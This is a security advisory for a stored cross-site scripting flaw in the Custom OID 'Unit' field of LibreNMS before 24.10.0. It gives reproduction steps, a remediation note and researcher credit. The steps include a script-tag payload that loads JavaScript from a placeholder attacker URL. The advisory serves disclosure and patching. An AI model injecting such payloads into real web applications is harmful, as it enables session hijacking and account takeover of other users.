Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the “Custom OID” tab of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the unit parameter when creating a new OID. The payload executes in the “Unit” column of the Custom OID table, potentially compromising other users’ sessions.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/print-customoid.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Create a new OID for a device using the following payload in the Unit field:
<script/src=//<attacker-url>></script> -
Save the OID.
-
Navigate to the Custom OID tab of the device.
-
Observe that the external script from
//<attacker-url>loads and executes in the “Unit” column.
Expected result:
The external script hosted at //<attacker-url> executes in the “Unit” column of the Custom OID table, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Fixed in LibreNMS 24.10.0 by HTML-encoding and escaping the unit parameter in print-customoid.php, preventing unsanitized input from being rendered.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
